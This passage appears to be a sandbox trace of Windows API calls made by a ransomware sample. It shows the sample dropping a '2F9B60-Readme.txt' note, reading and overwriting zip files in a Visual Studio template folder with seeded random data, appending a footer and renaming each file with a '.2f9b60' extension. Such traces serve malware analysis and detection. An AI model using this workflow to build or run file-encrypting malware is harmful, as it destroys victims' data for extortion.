_Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\2F9B60-Readme.txt" [0184.003] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\2f9b60-readme.txt")) returned 0xffffffff [0184.004] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ad0 [0192.683] WriteFile (in: hFile=0x2ad0, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x3954f950, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x3954f950*=0xba9, lpOverlapped=0x0) returned 1 [0201.230] CloseHandle (hObject=0x2ad0) returned 1 [0206.149] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b799520) returned 1 [0206.149] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776d90) returned 1 [0206.149] FindNextFileW (in: hFindFile=0x1cd9ca30, lpFindFileData=0x1cd9a2f0 | out: lpFindFileData=0x1cd9a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x251, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppConfig.zip", cAlternateFileName="APPCON~1.ZIP")) returned 1 [0206.149] wcscmp (_String1="AppConfig.zip", _String2=".") returned 1 [0206.149] wcscmp (_String1="AppConfig.zip", _String2="..") returned 1 [0206.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd4) returned 0x1b776d90 [0206.150] wcscpy (in: _Dest=0x1b776d90, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" [0206.150] wcscat (in: _Dest=0x1b776d90, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\" [0206.150] wcscat (in: _Dest=0x1b776d90, _Source="AppConfig.zip" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AppConfig.zip") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AppConfig.zip" [0209.282] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AppConfig.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\appconfig.zip")) returned 0x20 [0209.283] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AppConfig.zip", dwFileAttributes=0x20) returned 1 [0209.283] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AppConfig.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\appconfig.zip"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x16c4 [0209.284] GetFileSizeEx (in: hFile=0x16c4, lpFileSize=0x3954fa40 | out: lpFileSize=0x3954fa40*=593) returned 1 [0209.284] SetFilePointerEx (in: hFile=0x16c4, liDistanceToMove=0x24d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.284] ReadFile (in: hFile=0x16c4, lpBuffer=0x3954f9c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3954fa08, lpOverlapped=0x0 | out: lpBuffer=0x3954f9c0*, lpNumberOfBytesRead=0x3954fa08*=0x4, lpOverlapped=0x0) returned 1 [0209.304] SetFilePointerEx (in: hFile=0x16c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.304] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab0a0 [0209.305] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab8b0 [0209.306] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa6b0 [0209.306] NtQuerySystemTime (in: CurrentTime=0x3954f900 | out: CurrentTime=0x3954f900*=132462178141798000) returned 0x0 [0209.306] RtlRandomEx (in: Seed=0x3954f8f0 | out: Seed=0x3954f8f0) returned 0x62f9c548 [0209.306] RtlRandomEx (in: Seed=0x3954f8f0 | out: Seed=0x3954f8f0) returned 0x2da570fa [0209.306] RtlRandomEx (in: Seed=0x3954f8f0 | out: Seed=0x3954f8f0) returned 0x62c114dd [0209.306] RtlRandomEx (in: Seed=0x3954f8f0 | out: Seed=0x3954f8f0) returned 0x65dfa37e [0209.306] RtlRandomEx (in: Seed=0x3954f8f0 | out: Seed=0x3954f8f0) returned 0x69ef1d76 [0209.306] RtlRandomEx (in: Seed=0x3954f8f0 | out: Seed=0x3954f8f0) returned 0x7861bb71 [0209.306] RtlRandomEx (in: Seed=0x3954f8f0 | out: Seed=0x3954f8f0) returned 0x5fcae334 [0209.306] RtlRandomEx (in: Seed=0x3954f8f0 | out: Seed=0x3954f8f0) returned 0x6001a507 [0209.306] RtlRandomEx (in: Seed=0x3954f8f0 | out: Seed=0x3954f8f0) returned 0x274fed98 [0209.306] RtlRandomEx (in: Seed=0x3954f8f0 | out: Seed=0x3954f8f0) returned 0x7ff411e9 [0209.306] RtlRandomEx (in: Seed=0x3954f8f0 | out: Seed=0x3954f8f0) returned 0x43e442e5 [0209.307] RtlRandomEx (in: Seed=0x3954f8f0 | out: Seed=0x3954f8f0) returned 0x6c1e3e03 [0209.307] RtlRandomEx (in: Seed=0x3954f8f0 | out: Seed=0x3954f8f0) returned 0x19ff09b [0209.307] RtlRandomEx (in: Seed=0x3954f8f0 | out: Seed=0x3954f8f0) returned 0x337fb86f [0209.307] RtlRandomEx (in: Seed=0x3954f8f0 | out: Seed=0x3954f8f0) returned 0x7165463a [0209.307] RtlRandomEx (in: Seed=0x3954f8f0 | out: Seed=0x3954f8f0) returned 0x1226fdf2 [0209.307] RtlRandomEx (in: Seed=0x3954f8f0 | out: Seed=0x3954f8f0) returned 0x53b3647e [0209.307] RtlRandomEx (in: Seed=0x3954f8f0 | out: Seed=0x3954f8f0) returned 0xa7020a6 [0209.307] RtlRandomEx (in: Seed=0x3954f8f0 | out: Seed=0x3954f8f0) returned 0x133b7899 [0209.307] RtlRandomEx (in: Seed=0x3954f8f0 | out: Seed=0x3954f8f0) returned 0x2bce7ab [0209.307] RtlRandomEx (in: Seed=0x3954f8f0 | out: Seed=0x3954f8f0) returned 0x123538a6 [0209.307] RtlRandomEx (in: Seed=0x3954f8f0 | out: Seed=0x3954f8f0) returned 0x4c7aa6ef [0209.307] RtlRandomEx (in: Seed=0x3954f8f0 | out: Seed=0x3954f8f0) returned 0x63a36eec [0209.307] RtlRandomEx (in: Seed=0x3954f8f0 | out: Seed=0x3954f8f0) returned 0x5a881f7d [0209.307] RtlRandomEx (in: Seed=0x3954f8f0 | out: Seed=0x3954f8f0) returned 0x456300d7 [0209.307] RtlRandomEx (in: Seed=0x3954f8f0 | out: Seed=0x3954f8f0) returned 0x370b38de [0209.307] RtlRandomEx (in: Seed=0x3954f8f0 | out: Seed=0x3954f8f0) returned 0x39824841 [0209.307] RtlRandomEx (in: Seed=0x3954f8f0 | out: Seed=0x3954f8f0) returned 0x5079f8ae [0209.307] RtlRandomEx (in: Seed=0x3954f8f0 | out: Seed=0x3954f8f0) returned 0xd6bd50 [0209.307] RtlRandomEx (in: Seed=0x3954f8f0 | out: Seed=0x3954f8f0) returned 0x5d1a1b54 [0209.307] RtlRandomEx (in: Seed=0x3954f8f0 | out: Seed=0x3954f8f0) returned 0x4128b8bf [0209.307] RtlRandomEx (in: Seed=0x3954f8f0 | out: Seed=0x3954f8f0) returned 0x415c5bd0 [0209.308] ReadFile (in: hFile=0x16c4, lpBuffer=0x42dd5d20, nNumberOfBytesToRead=0x251, lpNumberOfBytesRead=0x3954f8f0, lpOverlapped=0x0 | out: lpBuffer=0x42dd5d20*, lpNumberOfBytesRead=0x3954f8f0*=0x251, lpOverlapped=0x0) returned 1 [0209.308] SetFilePointerEx (in: hFile=0x16c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.308] WriteFile (in: hFile=0x16c4, lpBuffer=0x42dd2110*, nNumberOfBytesToWrite=0x251, lpNumberOfBytesWritten=0x3954f8f4, lpOverlapped=0x0 | out: lpBuffer=0x42dd2110*, lpNumberOfBytesWritten=0x3954f8f4*=0x251, lpOverlapped=0x0) returned 1 [0216.302] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202663f0 [0216.303] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202663c0 [0216.304] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202663c0) returned 1 [0216.304] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42dd2110) returned 1 [0216.304] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42dd5d20) returned 1 [0216.304] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e570) returned 1 [0216.304] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bc00) returned 1 [0216.304] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x202663c0 [0216.305] SetFilePointerEx (in: hFile=0x16c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0216.305] WriteFile (in: hFile=0x16c4, lpBuffer=0x431f0de0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x3954fa10, lpOverlapped=0x0 | out: lpBuffer=0x431f0de0*, lpNumberOfBytesWritten=0x3954fa10*=0x10c, lpOverlapped=0x0) returned 1 [0219.438] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61e70 [0219.439] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8699c0 [0219.439] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaad0 [0219.440] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aaad0) returned 1 [0219.440] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x202aaad0 [0219.440] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab730 [0219.440] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aba60 [0219.441] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aba60) returned 1 [0219.441] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8699c0) returned 1 [0219.442] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61e70) returned 1 [0219.442] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x431acc20 [0219.442] sprintf (in: _Dest=0x431acc20, _Format="%c%c" | out: _Dest="cb") returned 2 [0219.442] sprintf (in: _Dest=0x431acc22, _Format="%c%c" | out: _Dest="6b") returned 2 [0219.442] sprintf (in: _Dest=0x431acc24, _Format="%c%c" | out: _Dest="a3") returned 2 [0219.442] sprintf (in: _Dest=0x431acc26, _Format="%c%c" | out: _Dest="b6") returned 2 [0219.443] sprintf (in: _Dest=0x431acc28, _Format="%c%c" | out: _Dest="70") returned 2 [0219.443] sprintf (in: _Dest=0x431acc2a, _Format="%c%c" | out: _Dest="b9") returned 2 [0219.443] sprintf (in: _Dest=0x431acc2c, _Format="%c%c" | out: _Dest="a3") returned 2 [0219.443] sprintf (in: _Dest=0x431acc2e, _Format="%c%c" | out: _Dest="16") returned 2 [0219.443] sprintf (in: _Dest=0x431acc30, _Format="%c%c" | out: _Dest="49") returned 2 [0219.443] sprintf (in: _Dest=0x431acc32, _Format="%c%c" | out: _Dest="16") returned 2 [0219.443] sprintf (in: _Dest=0x431acc34, _Format="%c%c" | out: _Dest="f3") returned 2 [0219.443] sprintf (in: _Dest=0x431acc36, _Format="%c%c" | out: _Dest="72") returned 2 [0219.443] sprintf (in: _Dest=0x431acc38, _Format="%c%c" | out: _Dest="bc") returned 2 [0219.443] sprintf (in: _Dest=0x431acc3a, _Format="%c%c" | out: _Dest="d4") returned 2 [0219.443] sprintf (in: _Dest=0x431acc3c, _Format="%c%c" | out: _Dest="14") returned 2 [0219.443] sprintf (in: _Dest=0x431acc3e, _Format="%c%c" | out: _Dest="10") returned 2 [0219.443] sprintf (in: _Dest=0x431acc40, _Format="%c%c" | out: _Dest="4e") returned 2 [0219.443] sprintf (in: _Dest=0x431acc42, _Format="%c%c" | out: _Dest="05") returned 2 [0219.443] sprintf (in: _Dest=0x431acc44, _Format="%c%c" | out: _Dest="2e") returned 2 [0219.443] sprintf (in: _Dest=0x431acc46, _Format="%c%c" | out: _Dest="31") returned 2 [0219.443] sprintf (in: _Dest=0x431acc48, _Format="%c%c" | out: _Dest="10") returned 2 [0219.443] sprintf (in: _Dest=0x431acc4a, _Format="%c%c" | out: _Dest="73") returned 2 [0219.443] sprintf (in: _Dest=0x431acc4c, _Format="%c%c" | out: _Dest="63") returned 2 [0219.443] sprintf (in: _Dest=0x431acc4e, _Format="%c%c" | out: _Dest="90") returned 2 [0219.444] sprintf (in: _Dest=0x431acc50, _Format="%c%c" | out: _Dest="d4") returned 2 [0219.444] sprintf (in: _Dest=0x431acc52, _Format="%c%c" | out: _Dest="f3") returned 2 [0219.444] RtlInitAnsiString (in: DestinationString=0x3954fa88, SourceString="cb6ba3b670b9a3164916f372bcd414104e052e3110736390d4f3" | out: DestinationString="cb6ba3b670b9a3164916f372bcd414104e052e3110736390d4f3") [0219.444] RtlAnsiStringToUnicodeString (in: DestinationString=0x3954fa58, SourceString="cb6ba3b670b9a3164916f372bcd414104e052e3110736390d4f3", AllocateDestinationString=1 | out: DestinationString="cb6ba3b670b9a3164916f372bcd414104e052e3110736390d4f3") returned 0x0 [0219.444] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b8686c0 [0219.444] wcscat (in: _Dest=0x1ceb5990, _Source="cb6ba3b670b9a" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\cb6ba3b670b9a") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\cb6ba3b670b9a" [0219.444] wcscat (in: _Dest=0x1ceb5990, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\cb6ba3b670b9a.2f9b60") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\cb6ba3b670b9a.2f9b60" [0219.445] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\cb6ba3b670b9a.2f9b60", NtPathName=0x3954fa30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\cb6ba3b670b9a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0219.445] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x100) returned 0x431a94f0 [0222.371] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a94f0) returned 1 [0222.371] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43082aa0) returned 1 [0222.371] NtQueryInformationFile (in: FileHandle=0x16c4, IoStatusBlock=0x3954fa98, FileInformation=0x3954faa8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3954fa98, FileInformation=0x3954faa8) returned 0x0 [0222.371] NtSetInformationFile (FileHandle=0x16c4, IoStatusBlock=0x3954fa98, FileInformation=0x3954faa8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0223.555] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceb5990) returned 1 [0223.556] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8686c0) returned 1 [0223.556] FlushFileBuffers (hFile=0x16c4) returned 1 [0224.006] CloseHandle (hObject=0x16c4) returned 1 [0224.934] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xde) returned 0x423aa560 [0224.934] wcscpy (in: _Dest=0x423aa560, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\" [0224.934] wcscat (in: _Dest=0x423aa560, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\2F9B60-Readme.txt" [0224.935] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\2f9b60-readme.txt")) returned 0x20 [0224.936] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423aa560) returned 1 [0224.937] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776d90) returned 1 [0224.937] FindNextFileW (in: hFindFile=0x1cd9ca30, lpFindFileData=0x1cd9a2f0 | out: lpFindFileData=0x1cd9a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x26d, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppConfigInternal.zip", cAlternateFileName="APPCON~2.ZIP")) returned 1 [0224.937] wcscmp (_String1="AppConfigInternal.zip", _String2=".") returned 1 [0224.937] wcscmp (_String1="AppConfigInternal.zip", _String2="..") returned 1 [0224.937] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe4) returned 0x423aa560 [0224.938] wcscpy (in: _Dest=0x423aa560, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" [0224.938] wcscat (in: _Dest=0x423aa560, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\" [0224.938] wcscat (in: _Dest=0x423aa560, _Source="AppConfigInternal.zip" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AppConfigInternal.zip") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AppConfigInternal.zip" [0225.611] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x423aa560, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d28 [0225.612] FindNextFileW (in: hFindFile=0x1cd9ca30, lpFindFileData=0x1cd9a2f0 | out: lpFindFileData=0x1cd9a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x492, dwReserved0=0x0, dwReserved1=0x0, cFileName="AssemblyInfo.zip", cAlternateFileName="ASSEMB~1.ZIP")) returned 1 [0225.612] wcscmp (_String1="AssemblyInfo.zip", _String2=".") returned 1 [0225.612] wcscmp (_String1="AssemblyInfo.zip", _String2="..") returned 1 [0225.612] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xda) returned 0x423aab00 [0225.612] wcscpy (in: _Dest=0x423aab00, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" [0225.612] wcscat (in: _Dest=0x423aab00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\" [0225.612] wcscat (in: _Dest=0x423aab00, _Source="AssemblyInfo.zip" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AssemblyInfo.zip") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AssemblyInfo.zip" [0225.612] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x423aab00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x60c [0225.613] FindNextFileW (in: hFindFile=0x1cd9ca30, lpFindFileData=0x1cd9a2f0 | out: lpFindFileData=0x1cd9a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x4e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AssemblyInfoInternal.zip", cAlternateFileName="ASSEMB~2.ZIP")) returned 1 [0225.613] wcscmp (_String1="AssemblyInfoInternal.zip", _String2=".") returned 1 [0225.613] wcscmp (_String1="AssemblyInfoInternal.zip", _String2="..") returned 1 [0225.613] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xea) returned 0x1b78e580 [0225.614] wcscpy (in: _Dest=0x1b78e580, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" [0225.614] wcscat (in: _Dest=0x1b78e580, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\" [0225.614] wcscat (in: _Dest=0x1b78e580, _Source="AssemblyInfoInternal.zip" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AssemblyInfoInternal.zip") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AssemblyInfoInternal.zip" [0225.614] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b78e580, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f58 [0225.615] FindNextFileW (in: hFindFile=0x1cd9ca30, lpFindFileData=0x1cd9a2f0 | out: lpFindFileData=0x1cd9a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x2bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Class.zip", cAlternateFileName="")) returned 1 [0225.615] wcscmp (_String1="Class.zip", _String2=".") returned 1 [0225.615] wcscmp (_String1="Class.zip", _String2="..") returned 1 [0225.615] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xcc) returned 0x1ced04a0 [0225.615] wcscpy (in: _Dest=0x1ced04a0, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" [0225.615] wcscat (in: _Dest=0x1ced04a0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\" [0225.615] wcscat (in: _Dest=0x1ced04a0, _Source="Class.zip" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Class.zip") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 